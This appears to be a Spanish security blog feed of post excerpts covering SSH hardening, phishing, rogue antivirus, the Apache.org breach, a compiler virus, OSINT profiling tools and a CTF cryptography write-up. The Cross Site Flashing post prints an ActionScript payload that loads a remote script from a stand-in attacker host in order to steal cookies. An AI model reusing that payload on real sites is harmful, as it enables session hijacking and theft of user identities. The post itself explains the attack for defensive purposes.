2/2 - Fortificación del servicio SSH

Primera parte de esta entrada: 1/2 Fortificación del servicio SSH.

• PasswordAuthentication (por defecto: si)
  

El método más seguro para autenticar contra un servicio SSH es el uso de certificados y la prohibición de otras opciones más clásicos y sencillas de automatizar en un posible ataque. Si se modifica la directiva PasswordAuthentication a "no", solo usuarios con certificados correctamente configurados podrán conectar al sistema.

• ChallengeResponseAuthentication (por defecto: yes, depende de la distribución)

Mediante ChallangeResponseAuthentication se determina si el servidor seguro utilizará los métodos de autenticación "keyboard-interactive", utilizado en sistemas OTP u otros métodos basados en PAM. OJO, modificar esta directiva si no se utiliza certificados puede causar la perdida de acceso al sistema.

• AllowAgentForwarding (por defecto: yes)
  

La directiva AllowAgentForwarding especifica cuando el cliente ssh-agent permite encaminamiento. La propia ayuda de OpenSSH especifica que se define a "yes", por defecto ya que alguien con acceso al sistema podría utilizar su propio cliente de encaminamiento. En todo caso, si no se va a utilizar se recomienda su desactivación.

• AllowTcpForwarding (por defecto: yes)

Especifica cuando se permite hacer encaminamiento TCP, el valor por defecto, al igual que en el parámetro anterior y bajo la misma premisa activa la opción. La polémica se desarrolla en distintos análisis como el siguiente: http://kitenet.net/~joey/blog/entry/ssh_port_forwarding/. Salvo sea necesario, se recomienda su configuración al valor "no"

• Banner (por defecto: none)

Especifica el archivo que será mostrado antes de la autenticación de un usuario en el sistema. En este tipo de ficheros se suele mostrar un mensaje de advertencia con la política en caso de que se detecten intentos de intrusión. Solo funciona en SSH con protocolo versión 2.

• MaxStartups (por defecto: 10)

Especifica el número máximo permitido de conexiones simultaneas no autenticadas, todos los intentos de conexión siguientes serán denegados hasta que uno de los anteriores realice correctamente el proceso completo. Si el sistema no tiene demasiada carga de usuarios, un número inferior ahorra recursos y ralentizará ataques de fuerza bruta. Un ejemplo podría ser "3"

• Ciphers (por defecto: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128..)
  

Tras la vulnerabilidad reportada por CPNI en la implantación de CBC en OpenSSH, el equipo de desarrollo decidió cambiar el orden de preferencia de los cifrados a utilizar. Pese a que en las versiones más actuales son correctos y se utiliza preferiblemente CTR, es conveniente revisar que la versión de SSH instalada mantiene esta configuración. Desde la nota de seguridad de OpenSSH se recomienda:
aes128-ctr,aes256-ctr,arcfour256,arcfour,aes128-cbc,aes256-cbc

• Otros valores por defecto

Otros valores por defecto deben comprobarse en un proceso de fortificación para evitar que en instalaciones y configuraciones anteriores no se hayan modificado erroneamente. Entre ellos los más importantes son: X11forwarding que ha de menter "no" y PermitEmptyPasswords que ha de permanecer como "no".

Primera parte de esta entrada: 1/2 Fortificación del servicio SSH.

Leer más...

Phising aprovechando el pánico de la Gripe A

Si ya tiempo atrás hablábamos de los potenciales riesgos de phising debido a la gripe porcina, existe una nueva posibilidad de un ataque de este tipo.

Lo que diferencia este ataque de los anteriores es que, además de enviar un email a un número indefinido de usuarios a los que engaña mediante un enlace a una página web que contiene código malicioso (phising), en este caso, se aprovecha una vulnerabilidad del tipo XSS (Cross-site Scripting) existente en el NHS (National Health Service) de Reino Unido (www.nhs.co.uk). Este organismo publica los tratamientos y dosis a seguir para combatir ciertas enfermedades. Si se aprovechara esta vulnerabilidad, podría llegar a engañar a los usuarios sobre las dosis de un tratamiento, mediante una página web que, por supuesto no está en los servidores del NHS británico.

El fallo ha sido descubierto por Phillip Clarke, director de una empresa de software que ha estado investigando en este tipo de vulnerabilidades en diferentes organizaciones, después de enterarse que han existido en los servidores web del MI5 y el Ministerio de Defensa Británico.

De momento no se han detectado campañas de mailings (spam) aprovechándose de este tipo de vulnerabilidad. Para tranquilidad de los lectores, las del NHS, han sido ya parcheadas, lo cual no quiere decir que no se puedan detectar este mismo tipo en otras entidades con funcionalidad similar y que se pueda reabrir la herida.

En el enlace de la noticia completa se puede además comprobar, cómo el descubridor de la vulnerabilidad del NHS, se intentó comunicar por activa y por pasiva con los webmasters de la organización sin éxito. Después publicó la vulnerabilidad en sla.ckers.org y al final fue redirigido a alguien de GovCertUK que ayudó a comunicar a Philip Clarke con los "sordos" webmasters de NHS de forma directa.

Esto me recuerda a un tema del que ya hablamos hace tiempo en SbD respecto al caso que hacían las empresas ante las notificaciones de descubrimientos de vulnerabilidades.

Leer más...

El peligro de los antivirus 'Rogue'

Fórmulas para aprovecharse de un usuario incauto, hay muchas, ya hemos hablado de todo tipo de timos, desde la distribución de links maliciosos mediante multas de trafico, pasando por botnets basadas en twitter, o recientemente mediante CDs.

Últimamente se están poniendo muy de moda los llamados 'Rogue antivirus' también conocidos como 'fake'.

El mecanismo de distribución es sencillo, basta con hacer creer al incauto usuario que su equipo esta en riesgo y que necesita adquirir el supuesto antivirus, una vez ahí, los mecanismos de fraude varían de uno a otro, unos buscan hacer que el usuario compre el supuesto antivirus, otros directamente son troyanos para conseguir datos y también los hay que son backdoors.

Cabe destacar la enorme labor que están haciendo desde SpamLoco para catalogar, identificar y clasificar los distintos tipos de rogue antivirus, os animo a que os deis un paseo por este link para ojear el catalogo

Leer más...

PenTBox Beta - Suite de Pentesting

PenTBox, es una Suite de seguridad orientada a Pentesting y programada en Ruby, licenciada bajo GNU GPL3. Esta Suite es multiplataforma aunque fue pensada para entornos GNU/Linux. Está estructurada en un conjunto de programas que pueden ser ejecutados de forma individual (con independencia de la Suite) lo que permite la integración de nuevos desarrollos que aporte la comunidad de desarrolladores.

La Suite incluye las siguientes funciones:

• Cracking de los algoritmos hash MD5, SHA1, SHA256 y SHA512 mediante fuerza bruta numérica.
• Creador rápido de Honeypots.
• Generador de contraseñas seguras ante ataques de fuerza bruta y diccionario.
• Generadores de tráfico masivo en la red para probar posibles denegaciones de servicio.
• Escaneo de puertos.
• Otras aplicaciones complementarias

Por ejemplo crearemos un Honeypot que simule abierto el puerto 80.

Escaneamos que puertos están abiertos:

Creamos un Honeypot que simule abierto el puerto 80:

Volvemos a escanear la máquina:

Más información en la web de uno de los autores del proyecto.

Leer más...

Apache.org Owned !

Parece que Apache.org ha sido hackeado, no es la primera vez que pasa y ciertamente se desconocen todavía los detalles, el caso es que a día de hoy, si conectas a http://apache.org sale el siguiente mensaje:

The Infrastructure Team of The Apache Software Foundation is currently investigating a potential compromise of one of our servers. For security reasons most apache.org
services are therefore offline, but will be restored shortly. We apologies for any inconvenience this may cause.

Esperamos nuevos detalles

Update :

10:42am UTC: Compromise was due to a compromised SSH Key, not due to any software exploits in Apache itself.

Update:

10:53am UTC: We have restored services on our european mirror machine which was not compromised. DNS should be shifting you over right about ... now

Update:

Se han publicado los detalles de lo ocurrido en el blog de Apache: https://blogs.apache.org/infra/entry/apache_org_downtime_initial_report

Se puede resumir en:

• Una clave de SSH de un proveedor externo donde se realizan copias de seguridad es comprometida, accediendo desde este servidor a un sistema denominado "minotaur.apache.org" (27 de Agosto 18:00 UTC)
• Se suben ficheros CGI al servidor comprometido que son sincronizados con los sistemas de producción y permiten su ejecución vía HTTP ( 28 de Agosto sobre las 07:00)
• Se detecta en otro sistema uno de estos CGIs en ejecución (07:45 UTC)
• 10 minutos después se procede al apagado de todos los sistemas

Se desconoce aún el impacto real y se publicarán más detalles en un futuro próximo. Apache recomienda verificar las firmas de todos los productos, aunque en principio no se ha detectado ninguna modificación.

Leer más...

Envían CDs infectados con troyanos a bancos

Como si del cuento de blancanieves y los siete enanitos se tratase, se ha descubierto en Canadá un fraude bastante curioso.

Por lo visto, se han detectado envíos de CDs a sucursales bancarias que estaban infectados con troyanos. Supuestamente esos CDs provenían de la NCUA (National Credit Union Administration) Canadiense y en teoría contenían material informativo sobre troyanos (ironía, que no falte).

Esta técnica no es en absoluto nueva, cabe destacar que en el 2006 (tal y como cuentan en Hispasec) la empresa The Trainning Camp repartió en Londres CDs el día de los enamorados que supuestamente tenían una promoción afín a ese día, pero que en realidad contenían un troyano que informaba cuando alguien había insertado el CD. ¿Resultado? Un buen numero de personas ejecutaron el CD sin ninguna precaución.

En definitiva, resulta curioso como en el mundo online la gente parece que empieza a adoptar posturas coherentes (no es extraño escuchar la palabra Firewall a una persona mayor de 50 años) pero sin embargo el mundo físico goza de total credibilidad.

Y por cierto, hablando de temas físicos, Pedro Sánchez de Conexión Inversa, ha publicado un procedimiento preventivo llamado 'Mesas limpias' que puede ser muy útil como marco de referencia a la hora de diseñar procedimientos corporativos.

Leer más...

Top 5 de famosos 'peligrosos' en Internet

En alguna ocasión hemos hablado del 'Bad-Seo' como fórmula para posicionar enlaces con contenido malicioso en búsquedas que normalmente deberían llevarnos a otro tipo de información.

En función de la relevancia del termino, mas afán se pone para incluir enlaces que permitan propagar virus o troyanos.

McAfee se ha tomado la molestia de confeccionar una especie de 'ranking' entre las celebridades de Hollywood cuyas búsquedas asociadas conducían a un mayor numero de enlaces maliciosos.

La campeona de este peculiar ranking es la guapísima Jessica Biel que tal vez os suene de la película 'el ilusionista'.

Concretamente, un internauta que buscase información de Jessica en un buscador tendría 1 / 5 probabilidades de que al seguir un enlace, se encontrara con una desagradable sorpresa

El top 5 de ciber mata-haris según McAfee es el siguiente:

• Jessica Biel

• Beyoncé

• Jennifer Anniston

• Tom Brady

• Jessica Simpson

El ranking completo se puede consultar aquí

Sería divertido si nuestros amigos de Panda le dieran la réplica a McAffe y sacaran su peculiar ranking de famosos Españoles.

Leer más...

XSF: Ataque web encapsulado en Flash

Supongo que nuestros lectores habrán oido hablar del gusano que afectó a la red social Twitter allá por el mes de abril. De hecho, Laura publicó un artículo sobre la contratación del creador del mismo aquí. El ataque consistía en que gracias a una vulnerabilidad del tipo XSS (Cross-Site Scripting) permitía suplantar la identidad de un montón de usuarios atacados y twittear desde su cuenta.

En este caso, el objetivo de los ataques ha sido la red social china Renren. Para ello se ha utilizado una variante de ataque XSS encapsulado mediante archivos Flash. Como resultado, este ataque se ha llamado XSF o Cross Site Flashing.

¿Cómo se llevó a cabo el ataque?
La red social Renren permite, al igual que otras como Facebook o Tuenti, permite compartir contenido multimedia. Para ello se puede hacer mediante videos o en formato Flash. Para este último, el enlace a un fichero SWF, se hace mediante una función llamada playswf() que crea una porción de código así:

<embed src=”"+o.filename+”” type=”application/x-shockwave-flash”

“+”width=”"+(o.width||”320″)+”” height=”"+(o.height||”240″)+”” allowFullScreen=”true”

wmode=”"+(o.wmode||”transparent”)+”” allowScriptAccess=”always” ></embed>


Atención especial merece el parámetro "allowScriptAccess". Gracias a él se limita el nivel de acceso que el objeto "embebido" tendrá sobre el resto de la página HTML. Si se asigna "allowScriptAccess=sameDomain" el objeto flash, sólo tendrá acceso a la página HTML si se llama desde el mismo dominio, haciendo falta que el atacante subiera el fichero a ejecutar al mismo dominio, utilizando alguna otra técnica.
Sin embargo, en condiciones en las que el parámetro allowScriptAccess tenga el valor "always", el objeto flash tiene acceso a cualquier parte de la sesión HTML, como por ejemplo, las cookies. 1, 2, 3,... responda otra vez: Las Cookies.

A partir de aquí el resto del ataque consiste en crear un objeto flash en el que se pueda incluir en el fichero Flash una porción de código que ejecute un Javascript malicioso que envíe las cookies de los usuarios que vean ese "inocente" flash a una localización remota. A partir de ahí el atacante contará con acceso a la identidad de un montón de usuarios.

Por ejemplo,


var fun = 'var x=document.createElement("SCRIPT");x.src="http://www.delatacante.com/malicioso.js"; x.defer=true;document.getElementsByTagName("HEAD")[0].appendChild(x);';

    flash.external.ExternalInterface.call('eval', fun);
  


Asimismo, el usuario final verá el flash sin saber que ha ejecutado código Javascript malicioso robando su cookie.

El ataque a la red social Renren, además consistía en aprovechar las credenciales del individuo para enviar el video a todos sus contactos.

Como podéis ver, XSS encapsulado en un objeto Flash embebido en una página web... gracias a excesivos permisos para ese objeto. Recomendación, si tenéis algún tipo de sitio web que permita compartir este tipo ficheros, forzad el parámetro "allowScriptAccess" a "samedomain".

Leer más...

Virus que infectan compiladores

Hace 25 años, Ken Thompson teorizaba sobre los nefastos efectos que podría tener el hecho de que alguien liberara un virus cuyo target fueran los compiladores.

El objetivo de infectar un compilador tiene bastante enjundia, además de hacer una infección local, te aseguras que todo el código generado en esa maquina (imaginemos si es un host de desarrollo) también sera infectado con tu virus.

25 años después, Shopos alerta sobre un virus que afecta al compilador Delphi y que convierte cualquier binario generado desde el, en un binario infectado.

Según Sophos ya han detectado mas de 3.000 ejecutables cuyo origen ha sido un compilador infectado y que por tanto, tenian la carga virica. Otro dato bastante significativo es que, de esos 3.000 ejecutables, algunos eran troyanos / virus cuyo creador estaba usando un compilador infectado (¿ cazador cazado ?). Además algunos de esos ejecutables también han llegado, por ejemplo, a un CD de software publicado por la prestigiosa revista Alemana ComputerBild .

Según comentan en el SANS, el método mas fácil de saber si estas o no infectado es buscando el fichero SysConst.bak en tu equipo, así que aquí va un pequeño tip para buscarlo:

Desde un cmd.exe, por cada unidad que tenga el equipo (cambiando C: por la unidad correspondiente):

>dir c:\ /S | find /I "SysConst.bak"

Leer más...

Material de la DEFCON 17 disponible

La DEFCON, una de las conferencias más importantes de hackers que tiene lugar en la ciudad de Las Vegas, ha puesto a disposición del público los contenidos para que puedan ser descargados.

En este enlace podemos conseguir los materiales de las presentaciones y los códigos fuentes.

Además nos informan que en breve, dispondremos de todo el audio y vídeo de las charlas, y esta semana tendremos alguna release de los vídeos para que podamos ir abriendo boca.

Si pudiste asistir y te gustaría compartir tus fotos, puedes hacerlo a través de los foros de la DEFCON en pics.defcon.org.

Así que ya sabes, empieza a quemar el módem y descárgate los papers que no tienen desperdicio.

Leer más...

8 oscuros secretos de la Industria de Seguridad de TI

El principal estratega de seguridad de la división de IBM ISS (Internet Security Systems) nos habla en un podcast sobre el lado oscuro de la industria de la seguridad.

Las ocho plagas que están minando la capacidad de los profesionales de la seguridad para montar una línea de defensa eficaz.

El intento de acabar con ellas y motivar hacia el cambio para lograr que vaya a mejor.

1. Los proveedores no necesitan estar por delante de las amenazas, sólo el comprador. El principal problema de todos, comenta, son los vendedores que sólo se centran en hacer dinero y no en buscar la seguridad del cliente. Su único objetivo es vender sus productos al mayor número de compradores posibles sin preocuparse de lo que realmente necesitan.
   


2. Omisiones de la certificación de los antivirus. Los antivirus dan una falsa sensación de seguridad, y uno piensa que está a salvo de todo el malware. Pero la mayor parte de ellos no controlan los troyanos que están presentes desde el comienzo del malware y que hoy representan el 80% de este tipo de amenazas.
   


3. No hay perímetros. Si establecemos un perímetro y no es correcto, nuestros controles de seguridad no serán eficaces. Debemos entender que el punto final de este perímetro es el usuario final. Y no intentar fijar perímetros, dando una falsa sensación de seguridad.
   


4. La gestión de riesgos amenaza a los proveedores. La gestión de riesgos ayuda a las organizaciones a entender cuál es su nivel de riesgo. En muchas ocasiones las prioridades de una empresa no se ajustan con lo que les ofrece el vendedor. Si no tenemos una imagen clara de nuestros riesgos, estos estarán mas que encantados de fijarlos por nosotros, y lo único que tratarán es que se ajuste a su oferta de productos y no a lo que necesitamos realmente.
   


5. Hay otros riesgos además del software poco robusto. No sólo hay que centrarse en las vulnerabilidades del software sino en las configuraciones débiles y en el usuario.
   


6. La seguridad se ve supeditada al cumplimiento de las normativas. El cumplimiento de todas las normativas hace que las compañías gasten más de lo que deberían. Los vendedores se aprovechan ofreciéndonos productos que nos hacen compliance pero sin centrarse en los riesgos particulares de la empresa.
   


7. Los puntos ciegos del proveedor han permitido las tormentas de botnets. Las botnets prosperan donde hay poca inversión para la innovación, como dice "se desayunan al antivirus", aprovechándose de nuestra confianza en estos cuando certifican que han pasado x test. No necesitan atacar las vulnerabilidades del código, sino que se centran en ataques basados en ingeniería social.
   


8. El crecimiento en seguridad ha sobrepasado el "hazlo tu mismo". Tecnología sin estrategia es un caos, no nos pueden vender la idea de comprar y comprar más productos, instalarlos y luego olvidarnos de ellos.
   

[+] 8 Dirty Secrets of the IT Security Industry

Leer más...

Avances en gestión de BotNets (vía Twitter)

Hace un tiempo, publicábamos con una dosis extra de ironía, un post sobre usos raros que se le podían dar a Twitter, en concreto teorizábamos sobre como enviar twets cifrados para usos varios.

El caso es que viendo ahora la noticia de que un grupo Brasileño está empleando Twitter para sincronizar toda una botnet, no se si reír o terminar el post con 5 números y el complementario.

Tal y como comenta el autor de la investigación (José Nazario) en vez de emplear el típico sistema basado en salas IRC para gestionar la botnet, ahora los creadores de malware han dado el salto 2.0 y se han apuntado a Twitter.

Como ejercicio meramente egocentrista, captura de los twets empleados por la botnet


Y una captura de un twet hecho con CipherTwitter:


En el caso de los brasileños, ellos únicamente han 'ofuscado' los twets codificándolos en base64, CipherTwitter emplea RC4 (Spain 1 - Brazil 0)

Leer más...

Fraude mediante herramientas online

De piedra me he quedado al leer una noticia en El Mundo relativa a la detención de un individuo de Gerona, por haber solicitado préstamos a diferentes entidades bancarias, a nombre de sus empleados, todo ello a través de Internet.

Por lo que cuenta la noticia, diferentes empleados (hasta una centena) en dos empresas de este individuo (Jordi), han sido víctimas de una suplantación de identidad, para tener abiertas diversas cuentas bancarias y préstamos a su nombre, vía online, mediante fotocopias de los DNIs de las mismas.

El detenido (máximo accionista individual de la Real Sociedad) había tenido problemas en los pagos de alguna de sus empresas e incluso llegó a decir que es víctima de una venganza por parte de sus empleados, etc, etc,...

Y digo yo, sea verdad o no lo que ha sucedido, sea una estafa por parte de Jordi hacia sus empleados, o sea una venganza por parte de los mismos... ¿hasta que punto es viable llevar a cabo este tipo de fraude?

Yo mismo he sido víctima de un alta indebida, o slamming, como ya comenté aquí tiempo atrás. Para ello, no es necesario firmar nada, simplemente tener a mano acceso a los datos de otra persona; ya con una fotocopia del DNI es aún más factible. A la orden del día están los delitos de usurpar la identidad de otra persona en propio beneficio o con malas intenciones contra esa persona. Que te contraten un servicio ADSL nuevo, que te cambien de operador de telefonía o te den de baja la línea, son experiencias molestas pero de menor nivel. Sin embargo, la creación de una cuenta bancaria a tu nombre, y más la solicitud de créditos a través de Internet, son palabras mayores. ¿Hasta qué punto estamos protegidos los usuarios de este tipo de estafa? ¿cómo depurar las responsabilidades? ¿quienes son los culpables? Probablemente el fallo esté en la comodidad hacia los usuarios a la hora de poder efectuar según que tipo de cosas a través de Internet o por vía telefónica. Si fuera necesario, hacer ciertas operaciones de forma presencial, o se forzara a la utilización de mecanismos de autenticación fuertes, como puede ser (al menos hasta hoy) la firma digital mediante los certificados del DNI-E, al menos tendríamos cubierta vulnerabilidad de la validez de ciertos trámites mediante fotocopias.

Ahora plantearos en todos aquellos sitios en los que os piden el DNI para hacer una fotocopia (véase hoteles, vuestras propias compañías, empresas de telefonía móvil en las que el empleado hace la fotocopia en una habitación que tú no ves, etc....)

Leer más...

Nombres de usuario y perfiles

El año pasado hablábamos de la búsqueda de información de organizaciones como primera fase en un test de intrusión. Esta información es completada con toda aquella que podamos obtener del personal que está directamente relacionado con la compañía: empleados, proveedores, clientes o cualquiera que pueda ser de interés para cumplir los objetivos de la auditoría.

Por este motivo, estudiar perfiles de usuarios y descubrir sus conocimientos, preferencias y otros datos puede ser de gran valía para llevar a cabo un ataque elaborado de ingeniería social.

En la actualidad esta tarea se ha vuelto bastante compleja debido a la gran cantidad de información que se puede consultar y lo dispersada que se encuentra entre cientos de servicios web de moda.

Expuesto el problema, lo que se plantea es una solución mediante el uso de herramientas que faciliten la localización de un determinado usuario en distintas plataformas, de esta forma, se podrá saber dónde y qué tipo de información buscar.

Tres servicios principales se pueden consultar para conocer si un nombre de usuario concreto está registrado en decenas de aplicaciones: friendscall.me, namechk.com y knowem.com

Otros servicios que realizan búsquedas de personas, pero en base a nombres propios, son los similares a las páginas amarillas, como: 123people.es, wink.com o mylife.com.

Leer más...

Seguridad en aeropuertos?

Aprovechando que estoy leyendo un libro de Bruce Schneier, "Schneier on Security", del cual ya hablaré en otra ocasión (como hemos hecho otras veces), quiero llamar la atención de nuestros lectores ante la utilidad o no, de cierto tipo de requisitos o procedimientos que nos hacen pasar en los controles de los aeropuertos.

Todos los que pisamos a menudo los aeropuertos, nos hemos preguntado una y mil veces si realmente los procedimientos de seguridad (en general bastante molestos) a los que nos someten, son realmente efectivos o no.

Me explico:

• Cuando llegamos al aeropuerto, tenemos que ir al mostrador de facturación, a las máquinas de easy check-in o traer impreso de casa nuestra tarjeta de embarque. A mayor comodidad para el cliente, menor nivel de seguridad.

• Antes de entrar en el filtro de metales, y después de hacer una larga cola generalmente, un alegre operario de Securitas nos pide nuestra tarjeta de embarque. Lógicamente así te aseguras de que sólo entran a la zona "segura", los pasajeros, y no los acompañantes. Desde que la tarjeta de embarque se puede imprimir en casa, ¿cuánto se tarda en modificar (incluso con programas tan rudimentarios como el Paint) un billete y falsearlo a partir de uno válido, para pasar ese rápido filtro?

• Ahora llega el momento de pasar el filtro antimetales. Es el único sistema de seguridad que me parece que tiene más sentido, al menos el buscar si llevas objetos punzantes, bombas, pistolas, etc,... Si supierais la de veces que en un aeropuerto no me ha sonado el detector, y en el mismo día, en otro filtro de otro aeropuerto, he pasado con la misma ropa y complementos, y me han hecho quitarme el cinturón y los zapatos por los pitidos del arco... Es además, en este punto es donde se encargan de hacer cumplir la última normativa de los líquidos en los equipajes de mano, y pienso que son de todo menos efectivos. Es decir, los botes con capacidad de más de 100 ml, se quedan en tierra. ¿con qué fin? Si el argumento es que un bote que lleve líquidos que puedan ser explosivos, en una proporción mayor de 100 ml puede ser peligroso, me parece inútil que esta medida en este punto. ¿Qué impide a un comando terrorista de 6 integrantes llevar 6 botes de 100 ml por separado y comprar una botella de agua dentro de las tiendas del aeropuerto y tener 600 ml de "vaya usted a saber qué" en un solo envase? Parece ser que han desarrollado un scanner capaz de determinar la peligrosidad del contenido de los botes.

• Debido a la oferta gastronómica de la zona de viajeros, se provee de cubiertos para poder aplacar el hambre por un (ironic=ON) módico precio (ironic=OFF). Siendo coherentes, éstos deberían ser de plástico, por ser potencialmente un problema de seguridad. No tiene sentido que estén prohibidos en el filtro antimetales (y cosas punzantes) y que dentro puedas adquirirlos. La próxima vez que tengáis que ir a la T4 de Madrid, fijáos bien en lo que digo. Hay al menos 2 lugares donde sirven comida (me niego a llamar restaurante a esos locales) en los que he podido comprobar que los cubiertos son de metal... (cierto es que fue hace unos meses)

• Hasta no hace tanto, no pedían el DNI/Pasaporte de forma obligatoria en la entrada de todos los vuelos (de hecho en más de un viaje que he hecho por España, no me lo han pedido, sobre todo si el vuelo sale con mucho retraso). En esas situaciones, era viable volar de forma anónima. Bruce Schenier explica aquí cómo hacerlo.

Sin embargo, y mentando también a Bruce Schneier, para detener a un potencial comando terrorista que quiera atentar en aviones, no podemos depender de las medidas de seguridad de un aeropuerto. Es decir, que es tarde si tenemos que estar deteniendo este tipo de atrocidades contra las vidas humanas en el punto de ejecución de las mismas.

Leer más...

Configuración de privacidad en Youtube

Mucho se ha hablado sobre las redes sociales y los problemas que presentan de privacidad para los usuarios con los contenidos que publican sin control.

Pero el problema no es exclusivo de las redes sociales, ya que el (cansino) concepto 2.0 introduce la interacción entre usuarios en cualquier servicio web, por lo que en todas ellas es necesario revisar muy detenidamente las opciones y configuración de nuestros perfiles.

Youtube tiene un importante componente de comunidad y múltiples parámetros que debemos considerar cuando usemos sus servicios.

Algo que pocos usuarios conocen, por ejemplo, es que sus videos favoritos son mostrados directamente en su perfil público, accesible desde: http://www.youtube.com/user/[nombre_de_usuario], en mi caso he decidido eliminar algunos que mostraban como maquillar ojos claros y cursos para aprender a hablar en élfico... aficiones que prefiero mantener en secreto.

Para acceder a la configuración y modificar este comportamiento, desde el menú ubicado en la esquina superior derecha tras pulsar sobre el nombre de usuario, se puede acceder a la opción de "Cuenta", que mostrará algunos parámetros interesantes como los siguientes:

• Configuración del perfil: con datos personales como son el nombre, apellidos, dirección, edad, estudios y demás información típica de un perfil.

• Opciones de Privacidad: en las que se define si nuestros videos serán encontrados mediante correo electrónico, si deseamos recibir publicidad o si queremos que se muestren estadísticas públicamente en la web de nuestros videos.

• Compartir elementos: bajo la pestaña "Sharing", se encuentran algunas de las opciones más interesantes, como por ejemplo, que en la página de nuestro perfil se muestre la actividad que realizamos; esto puede incluir desde valoraciones a un video, comentarios, nuevos videos subidos o videos que añadimos a nuestros favoritos.

• Opciones de autenticación: es posible autenticar en Youtube con el usuario de Google si vinculamos una cuenta con la otra, lo curioso es que nuestra vieja cuenta de Youtube permanecerá estando activa, pudiendo acceder con ambas contraseñas para un mismo nombre de usuario. Además, es conveniente revisar si hemos añadido alguna web de un servicio tercero como autorizado dentro del portal de Youtube.

Leer más...

1/2 - Fortificación del servicio SSH

Seguramente el protocolo más utilizado para la administración de sistemas Unix es SSH/SecSH y su implantación más extendida, tanto por número de instalaciones como por tipos distintos de sistemas operativos soportados es la del producto OpenSSH.

Este servicio dispone de una configuración segura por defecto, aunque también es posible mejorarla y ajustarla a los requerimientos y políticas de cualquier organización, minimizando de esta forma el número potencial de riesgos.

Los consejos aquí mostrados pueden ser o no aplicados según vuestra valoración y necesidades. Todas las opciones que se muestran se han de modificar en el fichero de configuración, generalmente /etc/ssh/sshd_conf o similar.

• Port (por defecto: 22)

Especifica el número del puerto en el que el servicio escuchará. El mayor número de ataques se producen por herramientas automáticas, que en busca de este demonio, probarán usuarios y contraseñas comunes. Modificando el puerto a un número no estándar, por ejemplo 8822 se evitarán en su gran mayoría, ahorrando de esta forma la generación de cientos de registros inútiles al día. Tiene especial importancia en servidores expuestos en Internet.

Un truquito para elegir el puerto es utilizar el que ya conocemos, en este caso el 22 y añadirle algún número para que sea más fácilmente memorizable. Además, si buscamos si está definido en el archivo "nmap-services" (/usr/share/nmap/nmap-services en mi linux) complicaremos un poquito más su detección a solo los escaneos que contemplen todos los puertos.

• Protocol (por defecto: 1,2)
  

Especifica la versión del protocolo con la que un cliente puede conectarse. Debido a las vulnerabilidades conocidas de ataques de hombre en el medio en la versión 1, este parámetro se ha de establecer únicamente a "2".

• PermitRootLogin (por defecto: yes)
  

El usuario administrador del sistema no debería realizar la autenticación directamente contra el equipo. Es recomendable modificar este parámetro dejándolo en "no" y en caso de necesidad por el uso de scripts o aplicaciones automáticas, utilizar el valor "forced-commands-only", que permitirá la conexión del usuario root solo si es mediante certificado.

• ListenAddress (por defecto: all)
  

La directiva ListenAddress especifica en que direcciones IP se abrirá el puerto para ofrecer el servicio. Si el sistema dispone de más de una dirección IP, ya sea IPv4 o IPv6, es conveniente limitar esta escucha únicamente a las necesarias. Se permite el uso repetido de este parámetro, en caso de por ejemplo, querer escuchar en dos de las tres direcciones IP de un equipo.

• AllowUsers (por defecto: todos los usuarios)

AllowUsers concreta que usuarios tienen permitido el uso del servicio SSH, se permite especificar distintos usuarios separados por coma y opcionalmente, el host desde el que conectan con el formato "usuario@host".

El host puede ser limitado de distintas formas, ya sea con un cortafuegos o mediante el uso de un TCPWrappers.

Esta directiva complementa el grupo "Allow/Deny" compuesto por otros parámetros, en concreto, según su orden de procesado: AllowUsers, DenyUsers, AllowGroup y DenyGroup.

• AllowGroups (por defecto: todos los grupos)

Al igual que con AllowUsers, AllowGroups permite especificar el grupo o los grupos de usuarios a los que se les permite hacer acceder mediante ssh al sistema.

• MaxAuthTries (por defecto: 6)

Con el parámetro MaxAuthTries se especifica el máximo número de intentos de autenticación fallida por conexión. Cuando se alcanza la mitad de este número los sucesivos intentos serán registrados en los correspondientes logs. Se recomienda su configuración a un valor más bajo como 3.

• LoginGraceTime (por defecto: 120)

Con esta directiva se especifica cuantos segundos se permite que un usuario permanezca con una conexión abierta sin haberse autenticado correctamente. Es recomendable que este valor sea inferior, como por ejemplo 60.

Segunda parte de esta entrada: 2/2 Fortificación del servicio SSH.

Leer más...

3/4 - Wargame CP2009 - Pruebas de Criptografía

Volvemos con la tercera entrega de las soluciones a los retos del concurso de hacking ético de la Campus Party, en esta ocasión con las pruebas de criptografía. Esta categoría como en el resto, se compuso por cuatro fases de distintos niveles.

El primer problema consistía en acceder al contenido almacenado de un archivo PDF, este PDF era el documento que describía las bases del concurso y dentro de el se encontraba un archivo p12 que será utilizado en el último nivel y otro de texto con la contraseña para pasar a la siguiente prueba. Uno de los métodos para acceder a esta información es el uso de Fuse::PDF.

En la segunda prueba se proporcionaba una web con una imagen de fondo que contenía un código QR y un md5 central para despistar. Al decodificar el QR con alguna herramienta como http://zxing.org/w/decode.jspx se obtiene un texto en Base64. Al descodificarlo se muestra otro texto que tampoco está en claro. Para resolver esta última parte, se analizan las frecuencias de aparición de cada letra y se observa que es un texto de sustitución simple, en el que hay que encontrar el alfabeto usado para llevar a cabo la sustitución (ya sea a mano o por diccionario).
Una vez realizada la sustitución si el texto era buscado en Google se accedía a una url de esta web. La contraseña para pasar el nivel era el título de la entrada.

En la tercera prueba se presentaba un twitter con mensajes cifrados con RC4, que se habían incrustado utilizando la herramienta CipherTwitter, para obtener la contraseña y acceder al siguiente nivel había que aplicar fuerza bruta en base a un diccionario generado de la página web de SecurityByDefault.

En la cuarta y última prueba había que utilizar el certificado obtenido del PDF, lo que requiere conocer su contraseña, algunos de los participantes diseñaron sus propias herramientas para obtenerla, aunque ya estaba disponible Brute12 de la que ya hemos hablado en otra ocasión. Una vez se accedía al contenido web usando este certificado, se visualizaba una imagen que mediante esteganografía ocultaba a su vez otra imagen con la palabra de paso para solucionar el nivel. Una opción para obtener la imagen final era el uso de OpenStego que aplica RandomLSB, tal y como se había diseñado.

Leer más...

Resumen y conclusiones del "Month Of Twitter Bugs"

Hace más de un mes os anunciamos una iniciativa promovida por el investigador Aviv Raff que proponía publicar cada día, durante el mes de Julio, una serie de vulnerabilidades que afectaban a un servicio de internet que en cierto modo estuviese involucrado con el servicio de microblogging twitter, que utilizase su API, etc etc. A dicha iniciativa la llamaría TwitPwn, y si nos seguís en nuestro twitter, habreis comprobado que hemos ido referenciando cada día a la vulnerabilidad publicada.

Bien, pues ya acabó este experimento, y en mi opinión, con detalles y conclusiones interesantes y que merecen cierta mención. Un total de 42 vulnerabilidades, que pasamos a analizar a continuación:

• Servicios afectados

